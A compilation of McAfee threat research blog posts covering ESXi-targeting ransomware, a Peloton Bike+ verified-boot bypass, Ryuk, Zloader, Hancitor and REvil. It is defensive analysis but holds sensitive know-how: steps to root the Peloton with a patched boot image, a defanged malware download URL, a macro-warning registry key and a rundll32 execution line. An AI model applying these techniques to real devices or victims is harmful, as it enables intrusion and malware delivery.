Searching with the Shodan search engine, narrowing it down to the TCP 443 port, we observe that close to 82,000 internet accessible ESXi servers are exposed. Zooming in further on the versions that are affected by these vulnerabilities,  almost 55,000 publicly accessible ESXi servers are potentially vulnerable to CVE-2021-21985 and CVE-2021-21986, providing remote access to them and making them potential candidates for ransomware attacks, as we will read about in the next paragraphs.

Ransomware Actors Going After Virtual Environments

Ransomware groups are always trying to find ways to hit their victims where it hurts. So, it is only logical that they are adapting to attacking virtualization environments and the native Unix/Linux machines running the hypervisors. In the past, ransomware groups were quick to abuse earlier CVEs affecting VMware. But aside from the disclosed CVEs, ransomware groups have also adapted their binaries specifically to encrypt virtual machines and their management environment. Below are some of the ransomware groups we have observed.

DarkSide Ransomware

Figure 1. Screenshot from the DarkSide ransomware group, explicitly mentioning its Linux-based encryptor and support for ESXi and NAS systems

McAfee Advanced Threat Research (ATR) analyzed the DarkSide Linux binary in our recent blog and we can confirm that a specific routine aimed at virtual machines is present in it.

Figure 2. DarkSide VMware Code routine

From the configuration file of the DarkSide Linux variant, it becomes clear that this variant is solely designed to encrypt virtual machines hosted on an ESXi server. It searches for the disk-files of the VMs, the memory files of the VMs (vmem), swap, logs, etc. – all files that are needed to start a VMware virtual machine.

Demo of Darkside encrypting an ESXi server: https://youtu.be/SMWIckvLMoE

Babuk Ransomware

Babuk announced on an underground forum that it was developing a cross-platform binary aimed at Linux/UNIX and ESXi or VMware systems:

Figure 3. Babuk ransomware claiming to have built a Linux-based ransomware binary capable of encrypting ESXi servers

The malware is written in the open-source programming language Golang, most likely because it allows developers to have a single codebase to be compiled into all major operating systems. This means that, thanks to static linking, code written in Golang on a Linux system can run on a Windows or Mac system. That presents a large advantage to ransomware gangs looking to encrypt a whole infrastructure comprised of different systems architecture.

After being dropped on the ESXi server, the malware encrypts all the files on the system:

The malware was designed to target ESXi environments as we guessed, and it was confirmed when the Babuk team returned the decryptor named d_esxi.out. Unfortunately, the decryptor has been developed with some errors, which cause corruption in victim’s files:

Overall, the decryptor is poor as it only checks for the extension “.babyk” which will miss any files the victim has renamed to recover them. Also, the decryptor checks if the file is more than 32 bytes in length as the last 32 bytes are the key that will be calculated later with other hardcoded values to get the final key. This is bad design as those 32 bytes could be trash, instead of the key, as the customer could make things, etc. It does not operate efficiently by checking the paths that are checked in the malware, instead it analyzes everything. Another error we noticed was that the decryptor tries to remove a ransom note name that is NOT the same that the malware creates in each folder. This does not make any sense unless, perhaps, the Babuk developers/operators are delivering a decryptor that works for a different version and/or sample.

The problems with the Babuk decryptor left victims in horrible situations with permanently damaged data. The probability of getting a faulty decryptor isn’t persuading victims to pay up and this might be one of the main reasons that Babuk  announced that it will stop encrypting data and only exfiltrate and extort from now on.

Initial-Access-Brokers Offering VMware vCenter Machines

It is not only ransomware groups that show an interest in virtual systems; several initial access brokers are also trading access to compromised vCenter/ESXi servers on underground cybercriminal forums. The date and time of the specific offering below overlaps with the disclosure of CVE-2021-21985, but McAfee ATR hasn’t determined if this specific CVE was used to gain access to ESXi servers.

Figure 4. Threat Actor selling access to thousands of vCenter/ESXi servers

Figure 5. Threat actor offering compromised VMware ESXi servers

Patching and Detection Advice

VMware urges users running VMware vCenter and VMware Cloud Foundation affected by CVE-2021-21985 and CVE-2021-21986 to apply its patch immediately. According to VMware, a malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. The disclosed vulnerabilities have a critical CVSS base score of 9.8.

However, we do understand that VMware infrastructure is often installed on business-critical systems, so any type of patching activity usually has a high degree of impact on IT operations. Hence, the gap between vulnerability disclosure and patching is typically high. With the operating systems on VMware being a closed system they lack the ability to natively install workload protection/detection solutions. Therefore, the defenses should be based on standard cyber hygiene/risk mitigation practices and should be applied in the following order where possible.

1. Ensure an accurate inventory of vCenter assets and their corresponding software versions.
2. Secure the management plane of the vCenter infrastructure by applying strict network access control policies to allow access only from special management networks.
3. Disable all internet access to vCenter/VMware Infrastructure.
4. Apply the released VMware patches.
5. McAfee Network Security Platform (NSP) offers signature sets for detection of CVE-2021-21985 and CVE-2021-21986.

Conclusion

Virtualization and its underlying technologies are key in today’s infrastructures. With the release of recently discovered vulnerabilities and an understanding of their criticality, threat actors are shifting focus. Proof can be seen in underground forums where affiliates recruit pentesters with knowledge of specific virtual technologies to develop custom ransomware that is designed to cripple these technologies. Remote Desktop access is the number one access vector in many ransomware cases, followed by edge-devices lacking the latest security updates, making them vulnerable to exploitation. With the latest VMware CVEs mentioned in this blog, we urge you to take the right steps to secure not only internet exposed systems, but also internal systems, to minimize the risk of your organization losing its precious VMs, or gold, to cyber criminals.

Special thanks to Thibault Seret, Mo Cashman, Roy Arnab and Christiaan Beek for their contributions.

The post Are Virtual Machines the New Gold for Cyber Criminals? appeared first on McAfee Blog.

Executive Summary 

The McAfee Advanced Threat Research team (ATR) is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers. As security researchers, something that we always try to establish before looking at a target is what our scope should be. More specifically, we often assume well-vetted technologies like network stacks or the OS layers are sound and instead focus our attention on the application layers or software that is specific to a target. Whether that approach is comprehensive sometimes doesn’t matter; and it’s what we decided to do for this project as well, bypassing the Android OS itself and with a focus on the Peloton code and implementations. During our research process, we uncovered a flaw (CVE-2021-33887) in the Android Verified Boot (AVB) process, which was initially out of scope, that left the Peloton vulnerable. 

For those that are not familiar with Peloton, it is a brand that has combined high end exercise equipment with cutting-edge technology. Its products are equipped with a large tablet that interfaces with the components of the fitness machine, as well as provides a way to attend virtual workout classes over the internet. “Under the hood” of this glossy exterior, however, is a standard Android tablet, and this hi-tech approach to exercise equipment has not gone unnoticed. Viral marketing mishaps aside, Peloton has garnered attention recently regarding concerns surrounding the privacy and security of its products. So, we decided to take a look for ourselves and purchased a Pelton Bike+.

Attempting to Backup 

One of the first things that we usually try do when starting a new project, especially when said projects involve large expenses like the Peloton, is to try to find a way to take a backup or a system dump that could be used if a recovery is ever needed. Not all of our research techniques keep the device in a pristine state (we’d be poor hackers if they did), and having the ability to restore the device to its factory settings is a safety net that we try to implement on our targets.  

Because we are working with a normal Android device with only the Peloton customizations running at the application layer, many of the processes used to back up an Android phone would also work with the Peloton. It is common in the Android custom ROM scene to use a custom recovery image that allows the user to take full flash dumps of each critical partition and provides a method to restore them later. In such communities, it often also goes without saying that the device must first be unlocked in order to perform any of these steps. While the Android OS allows users to flash these critical partitions, there are restrictions in place that typically prevent an attacker from gaining access to the “currently” running system. If an attacker was able to get their hands on an Android device with the goal of installing a rootkit, they would have to jump through some hoops. The first step that an attacker would need to take is to enable “Original Equipment Manufacturer (OEM) Unlocking”, which is a user mode setting within the “developer options” menu. Even with physical access to the bootloader, an attacker would not be able to “unlock” the Android device unless this setting is checked. This option is usually secured behind the user’s password, PIN, or biometric phone lock, preventing an attacker from accessing it easily. The second security measure in place is that even with the “OEM Unlocking” setting on, issuing commands to the bootloader to perform the unlock first causes all data on the Android device, including applications, files, passwords, etc., to be wiped. This way, even if an attacker did gain access to the Android device of an unsuspecting victim, they wouldn’t be able to install a rootkit or modify the existing kernel without deleting all the data, which both prevents personal data from falling into the attacker’s hands and makes it obvious the device has been tampered with. 

For this research effort, we resisted the urge to unlock the Peloton, as there are ways for apps to query the unlock status of a device within Android, and we wanted to ensure that any vulnerabilities we found weren’t the result of the device behaving differently due to it being unlocked. These discrepancies that arise from our research are usually identified by having two target devices: one to serve as the control and the other to serve as the test device. Unfortunately, we only had one Peloton to play with. Another issue was that the Peloton hardware is not very common and the developers of the aforementioned custom recovery images, like Team Win Recovery Project (TWRP), don’t create images for every device,  just the most common ones. So, the easy method of taking a backup would not only require unlocking the device but also trying to create our own custom recovery image.  

This left us as at a crossroads. We could unlock the bootloader and root the device, granting us access to the flash memory block devices (raw interfaces to the flash partitions) internally, which would allow us to create and restore backups as needed. However, as mentioned before, this would leave the bike in a recognizably “tampered” state. Alternatively, we could try to capture one of the bike’s Over-The-Air (OTA) updates to use as a backup, but we would still need to “unlock” the device to actually flash the OTA image manually. Both options were less than ideal so we kept looking for other solutions. 

Android Verified Boot Process

Just as Secure Boot provides a security mechanism for properly booting the OS on Windows PCs, Android has implemented measures to control the boot process, called Android Verified Boot (AVB). According to Android’s documentation, AVB “requires cryptographically verifying all executable code and data that is part of the Android version being booted before it is used. This includes the kernel (loaded from the boot partition), the device tree (loaded from the dtbo partition), system partition, vendor partition, and so on.” 

The Peloton Bike+ ships with the default settings of “Verity Mode” set to true, as well as “Device Unlocked” and “Device Critical Unlocked” set to false, which is intended to prevent the loading of modified boot images and provide a way to determine if the device has been tampered with. This information was verified by running fastboot oem device-info on the Peloton, as demonstrated in Figure 1. 

Figure 1: OEM device info showing verity mode and unlocked status. 

To clarify, a simplified Android boot process can be visualized as follows: 

Figure 2: Simplified Android Boot Process 

If modified code is found at any of the stages in Figure 2, the boot process should abort or, if the device is unlocked, warn the user that the images are not verified and give the option to the user to abort the boot. 

Given that we defined our scope of this project to not include the Android boot process as a part of our research and verifying that Peloton has attempted to use the security measures provided by Android, we again found ourselves debating if a backup would be possible.  

In newer Android releases, including the Peloton, the update method uses Android’s Seamless System Updates (A/B). This update method no longer needs the “recovery” partition, forcing users who wish to use a custom recovery to use the fastboot boot command which will download and boot the supplied image. This is a temporary boot that doesn’t “flash“ or alter any of the flash partitions of the device and will revert to the previous boot image on restart. Since this option allows for modified code to be executed, it is only available when the device is in an unlocked state and will error out with a message stating “Please unlock device to enable this command,” if attempted on a locked device.  

This is a good security implementation because if this command was always allowed, it would be very similar to the process of booting from a live USB on your PC, where you can login as a root user and have full control over the underlying system and components. 

Booting Modified Code 

This is where our luck or maybe naïveté worked to our advantage. Driven by our reluctance to unlock the device and our desire to make a backup, we tried to boot a generic TWRP recovery image just to see what would happen. The image ended up leaving us at a black screen, and since each recovery image needs to contain a small kernel with the correct drivers for the display, touch digitizer, and other device–specific hardware, this was to be expected. What we didn’t expect, however, was for it to get past the fastboot boot command. While we didn’t get a custom recovery running, it did tell us one thing; the system was not verifying that the device was unlocked before attempting to boot a custom image. Normally this command would be denied on a “locked” device and would have just errored out on the fastboot command, as mentioned previously. 

It is also important to point out that despite having booted a modified image, the internal fuse had not been burned. These fuses are usually burned during the OEM unlocking process to identify if a device has allowed for a different “root of trust” to be installed. The burning of such a fuse is a permanent operation and a burnt fuse often indicates that the device has been tampered with. As shown in Figure 3, the “Secure Boot” fuse was still present, and the device was reporting a locked bootloader. 

Figure 3: Secure boot enabled with fused protection 

Acquiring an OTA Image 

This discovery was unexpected and we felt like we had stumbled upon a flaw that gave us the ability to finally take a backup of the device and leave the Peloton in an “untampered” state. Knowing that a custom image could be booted even with a “locked” bootloader, we began looking at ways to gather a valid boot image, which would contain the correct kernel drivers to facilitate a successful boot. If we could piece together the OTA update URL and just download an update package directly from Peloton, it would likely contain a boot image that we could modify. Having the ability to modify a boot image would give us root and access to the blocked devices. 

Even with just ADB debugging enabled we were able to pull the Peloton–specific applications from the device. We listed all the Peloton APKs and sought out the ones that could help us get the OTA path, shown in Figure 4. 

Figure 4: Listing Peloton Specific Applications and Highlighting the one related to OTA Updates. 

Finding the name OTAService promising, we pulled down the APK and began to reverse-engineer it using JADX. After some digging, we discovered how the app was building the download URL string for OTA updates, which would then be passed to beginDownload(), as seen in Figure 5. 

Figure 5: OTA image path being constructed as “key” 

We also noticed quite a few Android log calls that could help us, such as the one right before the call to beginDownload(), so we used Android’s built–in logcat command and grepped the output for “OTA” as seen in Figure 6. Doing so, we were able to find which S3 bucket was used for the OTA updates and even a file manifest titled OTAConfig.json.   

Figure 6: Relevant OTA logs in red 

Combining the information obtained from OTAService.apk and the logs, we were able to piece together the full path to the OTA images manifest file and names for each OTA zip file, as shown in Figure 7.  

Figure 7: Contents of OTAConfig.json 

Our next step was to extract the contents of the OTA update to get a valid boot.img file that would contain all the specific kernel drivers for the Peloton hardware. Since the Peloton is using Android’s A/B partitions, which facilitate seamless updates, the update packages were stored in a “payload.bin” format. Using the Android payload dumper tool, we were able to extract all of the images contained in the bin file. 

Modifying the Boot Image 

Once the boot.img was extracted, we needed a way to modify the initial kernel to allow us to gain root access on the device. Although there are a variety of ways to accomplish this, we decided to keep things simple and just use the Magisk installer to patch the boot.img file to include the “su” binary. With the boot.img patched, we were able to use the fastboot boot command again but this time passing it our patched boot.img file. Since the Verified Boot process on the Peloton failed to identify the modified boot image as tampered, the OS booted normally with the patched boot.img file. After this process was complete, the Peloton Bike+ was indistinguishable from its “normal” state under visual inspection and the process left no artifacts that would tip off the user that the Pelton had been compromised. But appearances can be deceiving, and in reality the Android OS had now been rooted, allowing us to use the “su” command to become root and perform actions with UID=0, as seen in Figure 8. 

Figure 8: Booting modified boot.img and executing whoami as Root 

Impact Scenarios 

As we just demonstrated, the ability to bypass the Android Verified Boot process can lead to the Android OS being compromised by an attacker with physical access. A worst-case scenario for such an attack vector might involve a malicious agent booting the Peloton with a modified image to gain elevated privileges and then leveraging those privileges to establish a reverse shell, granting the attacker unfettered root access on the bike remotely. Since the attacker never has to unlock the device to boot a modified image, there would be no trace of any access they achieved on the device. This sort of attack could be effectively delivered via the supply chain process. A malicious actor could tamper with the product at any point from construction to warehouse to delivery, installing a backdoor into the Android tablet without any way the end user could know. Another scenario could be that an attacker could simply walk up to one of these devices that is installed in a gym or a fitness room and perform the same attack, gaining root access on these devices for later use. The Pelobuddy interactive map in figure 9 below could help an attacker find public bikes to attack. 

Figure 9: pelobuddy.com’s interactive map to help locate public Peloton exercise equipment. 

Once an attacker has root, they could make their presence permanent by modifying the OS in a rootkit fashion, removing any need for the attacker to repeat this step. Another risk is that an attacker could modify the system to put themselves in a man-in-the-middle position and sniff all network traffic, even SSL encrypted traffic, using a technique called SSL unpinning, which requires root privileges to hook calls to internal encryption functionality. Intercepting and decrypting network traffic in this fashion could lead to users’ personal data being compromised. Lastly, the Peloton Bike+ also has a camera and a microphone installed. Having remote access with root permissions on the Android tablet would allow an attacker to monitor these devices and is demoed in the impact video below. 

Disclosure Timeline and Patch 

Given the simplicity and criticality of the flaw, we decided to disclose to Peloton even as we continue to audit the device for remote vulnerabilities. We sent our vendor disclosure with full details on March 2, 2021 – shortly after, Peloton confirmed the issue and subsequently released a fix for it in software version “PTX14A-290”. The patched image no longer allows for the “boot” command to work on a user build, mitigating this vulnerability entirely. The Peloton vulnerability disclosure process was smooth, and the team were receptive and responsive with all communications. Further conversations with Peloton confirmed that this vulnerability is also present on Peloton Tread exercise equipment; however, the scope of our research was confined to the Bike+.

Peloton’s Head of Global Information Security, Adrian Stone, shared the following “this vulnerability reported by McAfee would require direct, physical access to a Peloton Bike+ or Tread. Like with any connected device in the home, if an attacker is able to gain physical access to it, additional physical controls and safeguards become increasingly important. To keep our Members safe, we acted quickly and in coordination with McAfee. We pushed a mandatory update in early June and every device with the update installed is protected from this issue.”

We are continuing to investigate the Peloton Bike+, so make sure you stay up to date on McAfee’s ATR blogs for any future discoveries. 

The post A New Program for Your Peloton – Whether You Like It or Not appeared first on McAfee Blog.

The McAfee Advanced Threat Research team today published the McAfee Labs Threats Report: June 2021.

In this edition we introduce additional context into the biggest stories dominating the year thus far including recent ransomware attacks. While the topic itself is not new, there is no question that the threat is now truly mainstream.

This Threats Report provides a deep dive into ransomware, in particular DarkSide, which resulted in an agenda item in talks between U.S. President Biden and Russian President Putin. While we have no intention of detailing the political landscape, we certainly do have to acknowledge that this is a threat disrupting our critical services. Furthermore, adversaries are supported within an environment that make digital investigations challenging with legal barriers that make the gathering of digital evidence almost impossible from certain geographies.

That being said, we can assure the reader that all of the recent campaigns are incorporated into our products, and of course can be tracked within our MVISION Insights preview dashboard.

This dashboard shows that – beyond the headlines – many more countries have experienced such attacks. What it will not show is that victims are paying the ransoms, and criminals are introducing more Ransomware-as-a-Service (RaaS) schemes as a result. With the five-year anniversary of the launch of the No More Ransom initiative now upon us it’s fair to say that we need more global initiatives to help combat this threat.

Q1 2021 Threat Findings

McAfee Labs threat research during the first quarter of 2021 include:

• New malware samples averaging 688 new threats per minute
• Coin Miner threats surged 117%
• New Mirai malware variants drove increase in Internet of Things and Linux threats

Additional Q1 2021 content includes:

• McAfee Global Threat Intelligence (GTI) queries and detections
• Disclosed Security Incidents by Continent, Country, Industry and Vectors
• Top MITRE ATT&CK Techniques APT/Crime

We hope you enjoy this Threats Report. Don’t forget to keep track of the latest campaigns and continuing threat coverage by visiting our McAfee Threat Center. Please stay safe.

The post McAfee Labs Report Highlights Ransomware Threats appeared first on McAfee Blog.

Executive Summary

Ryuk is a ransomware that encrypts a victim’s files and requests payment in Bitcoin cryptocurrency to release the keys used for encryption. Ryuk is used exclusively in targeted ransomware attacks.

Ryuk was first observed in August 2018 during a campaign that targeted several enterprises. Analysis of the initial versions of the ransomware revealed similarities and shared source code with the Hermes ransomware. Hermes ransomware is a commodity malware for sale on underground forums and has been used by multiple threat actors.

To encrypt files Ryuk utilizes a combination of symmetric AES (256-bit) encryption and asymmetric RSA (2048-bit or 4096-bit) encryption. The symmetric key is used to encrypt the file contents, while the asymmetric public key is used to encrypt the symmetric key. Upon payment of the ransom the corresponding asymmetric private key is released, allowing the encrypted files to be decrypted.

Because of the targeted nature of Ryuk infections, the initial infection vectors are tailored to the victim. Often seen initial vectors are spear-phishing emails, exploitation of compromised credentials to remote access systems and the use of previous commodity malware infections. As an example of the latter, the combination of Emotet and TrickBot, have frequently been observed in Ryuk attacks.

Coverage and Protection Advice

Ryuk is detected as Ransom-Ryuk![partial-hash].

Defenders should be on the lookout for traces and behaviours that correlate to open source pen test tools such as winPEAS, Lazagne, Bloodhound and Sharp Hound, or hacking frameworks like Cobalt Strike, Metasploit, Empire or Covenant, as well as abnormal behavior of non-malicious tools that have a dual use. These seemingly legitimate tools (e.g., ADfind, PSExec, PowerShell, etc.) can be used for things like enumeration and execution. Subsequently, be on the lookout for abnormal usage of Windows Management Instrumentation WMIC (T1047). We advise everyone to check out the following blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).

• Looking at other similar Ransomware-as-a-Service families we have seen that certain entry vectors are quite common among ransomware criminals:
• E-mail Spear phishing (T1566.001) often used to directly engage and/or gain an initial foothold. The initial phishing email can also be linked to a different malware strain, which acts as a loader and entry point for the attackers to continue completely compromising a victim’s network. We have observed this in the past with the likes of Trickbot & Ryuk or Qakbot & Prolock, etc.
• Exploit Public-Facing Application (T1190) is another common entry vector, given cyber criminals are often avid consumers of security news and are always on the lookout for a good exploit. We therefore encourage organizations to be fast and diligent when it comes to applying patches. There are numerous examples in the past where vulnerabilities concerning remote access software, webservers, network edge equipment and firewalls have been used as an entry point.
• Using valid accounts (T1078) is and has been a proven method for cybercriminals to gain a foothold. After all, why break the door down if you already have the keys? Weakly protected RDP access is a prime example of this entry method. For the best tips on RDP security, please see our blog explaining RDP security.
• Valid accounts can also be obtained via commodity malware such as infostealers that are designed to steal credentials from a victim’s computer. Infostealer logs containing thousands of credentials can be purchased by ransomware criminals to search for VPN and corporate logins. For organizations, having a robust credential management and MFA on user accounts is an absolute must have.

When it comes to the actual ransomware binary, we strongly advise updating and upgrading endpoint protection, as well as enabling options like tamper protection and Rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.

Summary of the Threat

Ryuk ransomware is used exclusively in targeted attacks

Latest sample now targets webservers

New ransom note prompts victims to install Tor browser to facilitate contact with the actors

After file encryption, the ransomware will print 50 copies of the ransom note on the default printer

Learn more about Ryuk ransomware, including Indicators of Compromise, Mitre ATT&CK techniques and Yara Rule, by reading our detailed technical analysis.

The post New Ryuk Ransomware Sample Targets Webservers appeared first on McAfee Blog.

This blog was written by Kiran Raj & Kishan N.

Introduction

In the last few years, Microsoft Office macro malware using social engineering as a means for malware infection has been a dominant part of the threat landscape. Malware authors continue to evolve their techniques to evade detection. These techniques involve utilizing macro obfuscation, DDE, living off the land tools (LOLBAS), and even utilizing legacy supported XLS formats.

McAfee Labs has discovered a new technique that downloads and executes malicious DLLs (Zloader) without any malicious code present in the initial spammed attachment macro. The objective of this blog is to cover the technical aspect of the newly observed technique.

Infection map

Threat Summary

• The initial attack vector is a phishing email with a Microsoft Word document attachment.
• Upon opening the document, a password-protected Microsoft Excel file is downloaded from a remote server.
• The Word document Visual Basic for Applications (VBA) reads the cell contents of the downloaded XLS file and writes into the XLS VBA as macros.
• Once the macros are written to the downloaded XLS file, the Word document sets the policy in the registry to Disable Excel Macro Warning and calls the malicious macro function dynamically from the Excel file,
• This results in the downloading of the Zloader payload. The Zloader payload is then executed by rundll32.exe.

The section below contains the detailed technical analysis of this technique.

Detailed Technical Analysis

Infection Chain

The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, the Word document, in turn, downloads and opens another password-protected Microsoft Excel document.

After downloading the XLS file, the Word VBA reads the cell contents from XLS and creates a new macro for the same XLS file and writes the cell contents to XLS VBA macros as functions.

Once the macros are written and ready, the Word document sets the policy in the registry to Disable Excel Macro Warning and invokes the malicious macro function from the Excel file. The Excel file now downloads the Zloader payload. The Zloader payload is then executed using rundll32.exe.

Figure-1: flowchart of the Infection chain

Word Analysis

Here is how the face of the document looks when we open the document (figure 2). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.

Figure-2: Image of Word Document Face

The userform combo-box components present in the Word document stores all the content required to connect to the remote Excel document including the Excel object, URL, and the password required to open the Excel document. The URL is stored in the Combobox in the form of broken strings which will be later concatenated to form a complete clear string.

Figure-3: URL components (right side) and the password to open downloaded Excel document (“i5x0wbqe81s”) present in user-form components.

VBA Macro Analysis of Word Document

Figure-4: Image of the VBA editor

In the above image of macros (figure 4), the code is attempting to download and open the Excel file stored in the malicious domain. Firstly, it creates an Excel application object by using CreateObject() function and reading the string from Combobox-1 (ref figure-2) of Userform-1 which has the string “excel. Application” stored in it. After creating the object, it uses the same object to open the Excel file directly from the malicious URL along with the password without saving the file on the disk by using Workbooks.Open() function.

Figure-5: Word Macro code that reads strings present in random cells in Excel sheet.

The above snippet (figure 5) shows part of the macro code that is reading the strings from the Excel cells.

For Example:

Ixbq = ifk.sheets(3).Cells(44,42).Value

The code is storing the string present in sheet number 3 and the cell location (44,42) into the variable “ixbq”. The Excel.Application object that is assigned to variable “ifk” is used to access sheets and cells from the Excel file that is opened from the malicious domain.

In the below snippet (figure 6), we can observe the strings stored in the variables after being read from the cells. We can observe that it has string related to the registry entry “HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM” that is used to disable trust access for VBA into Excel and the string “Auto_Open3” that is going to be the entry point of the Excel macro execution.

We can also see the strings “ThisWorkbook”, “REG_DWORD”, “Version”, “ActiveVBProject” and few random functions as well like “Function c4r40() c4r40=1 End Function”. These macro codes cannot be detected using static detection since the content is formed dynamically on run time.

Figure-6: Value of variables after reading Excel cells.

After extracting the contents from the Excel cells, the parent Word file creates a new VBA module in the downloaded Excel file by writing the retrieved contents. Basically, the parent Word document is retrieving the cell contents and writing them to XLS macros.

Once the macro is formed and ready, it modifies the below RegKey to disable trust access for VBA on the victim machine to execute the function seamlessly without any Microsoft Office Warnings.

HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM

After writing macro contents to Excel file and disabling the trust access, function ’Auto_Open3()’ from newly written excel VBA will be called which downloads zloader dll from the ‘hxxp://heavenlygem.com/22.php?5PH8Z’ with extension .cpl

Figure-7: Image of ’Auto_Open3()’ function

The downloaded dll is saved in %temp% folder and executed by invoking rundll32.exe.

Figure-8: Image of zloader dll invoked by rundll32.exe

Command-line parameter:

Rundll32.exe shell32.dll,Control_RunDLL “<path downloaded dll>”

Windows Rundll32 commands loads and runs 32-bit DLLs that can be used for directly invoking specified functions or used to create shortcuts. In the above command line, the malware uses “Rundll32.exe shell32.dll,Control_RunDLL” function to invoke control.exe (control panel) and passes the DLL path as a parameter, therefore the downloaded DLL is executed by control.exe.

Excel Document Analysis:

The below image (figure 9) is the face of the password-protected Excel file that is hosted on the server. We can observe random cells storing chunks of strings like “RegDelete”, “ThisWorkbook”, “DeleteLines”, etc.

These strings present in worksheet cells are formed as VBA macro in the later stage.

Figure-9: Image of Remote Excel file.

Coverage and prevention guidance:

McAfee’s Endpoint products detect this variant of malware and files dropped during the infection process.

The main malicious document with SHA256 (210f12d1282e90aadb532e7e891cbe4f089ef4f3ec0568dc459fb5d546c95eaf) is detected with V3 package version – 4328.0 as “W97M/Downloader.djx”.  The final Zloader payload with SHA-256 (c55a25514c0d860980e5f13b138ae846b36a783a0fdb52041e3a8c6a22c6f5e2)which is a DLL is detected by signature “Zloader-FCVP” with V3 package version – 4327.0

Additionally, with the help of McAfee’s Expert rule feature, customers can strengthen the security by adding custom Expert rules based on the behavior patterns of the malware. The below EP rule is specific to this infection pattern.

McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the macro execution for Office files. We advise everyone to read our blog on this new variant of Zloader and its infection cycle to understand more about the threat.

Different techniques & tactics are used by the malware to propagate and we mapped these with the MITRE ATT&CK platform.

• E-mail Spear Phishing (T1566.001): Phishing acts as the main entry point into the victim’s system where the document comes as an attachment and the user enables the document to execute the malicious macro and cause infection. This mechanism is seen in most of the malware like Emotet, Drixed, Trickbot, Agenttesla, etc.
• Execution (T1059.005): This is a very common behavior observed when a malicious document is opened. The document contains embedded malicious VBA macros which execute code when the document is opened/closed.
• Defense Evasion (T1218.011): Execution of signed binary to abuse Rundll32.exe and to proxy execute the malicious code is observed in this Zloader variant. This tactic is now also part of many others like Emotet, Hancitor, Icedid, etc.
• Defense Evasion (T1562.001): In this tactic, it Disables or Modifies security features in Microsoft Office document by changing the registry keys.

IOC

Conclusion

Malicious documents have been an entry point for most malware families and these attacks have been evolving their infection techniques and obfuscation, not just limiting to direct downloads of payload from VBA, but creating agents dynamically to download payload as we discussed in this blog. Usage of such agents in the infection chain is not only limited to Word or Excel, but further threats may use other living off the land tools to download its payloads.

Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is safe to enable them only when the document received is from a trusted source.

The post Zloader With a New Infection Technique appeared first on McAfee Blog.

This blog was written by Vallabh Chole & Oliver Devane

Over the years, the cybersecurity industry has seen many threats get taken down, such as the Emotet takedown in January 2021. It doesn’t usually take long for another threat to attempt to fill the gap left by the takedown. Hancitor is one such threat.

Like Emotet, Hancitor can send Malspams to spread itself and infect as many users as possible. Hancitor’s main purpose is to distribute other malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware and Zeppelin Ransomware. The dropped Cobalt Strike beacons can then be used to move laterally around the infected environment and also execute other malware such as ransomware.

This blog will focus on a new technique used by Hancitor created to prevent crawlers from accessing malicious documents used to download and execute the Hancitor payload.

The infection flow of Hancitor is shown below:

A victim will receive an email with a fake DocuSign template to entice them to click a link. This link leads him to feedproxy.google.com, a service that works similar to an RSS Feed and enables site owners to publish site updates to its users.

When accessing the link, the victim is redirected to the malicious site. The site will check the User-Agent of the browser and if it is a non-Windows User-Agent the victim will be redirected to google.com.

If the victim is on a windows machine, the malicious site will create a cookie using JavaScript and then reload the site.

The code to create the cookie is shown below:

The above code will write the Timezone to value ‘n’ and the time offset to UTC in value ‘d’ and set it into cookie header for an HTTP GET Request.

For example, if this code is executed on a machine with timezone set as BST the values would be:

d = 60

n = “Europe/London”

These values may be used to prevent further malicious activity or deploy a different payload depending on geo location.

Upon reloading, the site will check if the cookie is present and if it is, it will present them with the malicious document.

A WireShark capture of the malicious document which includes the cookie values is shown below:

The document will prompt them to enable macros and, when enabled, it will download the Hancitor DLL and then load it with Rundll32.

Hancitor will then communicate with its C&C and deploy further payloads. If running on a Windows domain, it will download and deploy a Cobalt Strike beacon.

Hancitor will also deploy SendSafe which is a spam module, and this will be used to send out malicious spam emails to infect more victims.

Conclusion

With its ability to send malicious spam emails and deploy Cobalt Strike beacons, we believe that Hancitor will be a threat closely linked to future ransomware attacks much like Emotet was. This threat also highlights the importance of constantly monitoring the threat landscape so that we can react quickly to evolving threats and protect our customers from them.

IOCs, Coverage, and MITRE

IOCs

Mitre

The post Hancitor Making Use of Cookies to Prevent URL Scraping appeared first on McAfee Blog.

This blog was written byVaradharajan Krishnasamy, Karthickkumar, Sakshi Jaiswal

Introduction

Ransomware attacks are one of the most common cyber-attacks among organizations; due to an increase in Ransomware-as-a-service (RaaS) on the black market. RaaS provides readily available ransomware to cyber criminals and is an effective way for attackers to deploy a variety of ransomware in a short period of time.

Usually, RaaS model developers sell or rent their sophisticated ransomware framework on the black market. After purchasing the license from the ransomware developer, attackers spread the ransomware to other users, infect them, encrypt files, and demand a huge ransom payment in Bitcoin.  Also, there are discounts available on the black market for ransomware frameworks in which the ransom money paid is shared between developers and the buyer for every successful extortion of ransom from the victims. These frameworks reduce the time and effort of creating a new ransomware from scratch using latest and advanced programming languages.

REvil is one of the most famous ransomware-as-a-service (RaaS) providers. The group released the Sodinokibi ransomware in 2019, and McAfee has since observed REvil using a DLL side loading technique to execute ransomware code. The actual ransomware is a dropper that contains two embedded PE files in the resource section.  After successful execution, it drops two additional files named MsMpEng.exe and MpSvc.dll in the temp folder. The file MsMpEng.exe is a Microsoft digitally signed file having a timestamp of March 2014 (Figure 1).

Figure-1: Image of Microsoft Digitally signed File

DLL SIDE LOADING

The malware uses DLL side loading to execute the ransomware code. This technique allows the attacker to execute malicious DLLs that spoof legitimate ones. This technique has been used in many APTs to avoid detection. In this attack, MsMpEng.exe loads the functions of MpSvc.dll during the time of execution. However, the attacker has replaced the clean MpSvc.dll with the ransomware binary of the same name. The malicious DLL file has an export function named ServiceCrtMain, which is further called and executed by the Microsoft Defender file. This is a clever technique used by the attacker to execute malicious file using the Microsoft digitally signed binary.

Figure-2: Calling Export function

PAYLOAD ANALYSIS

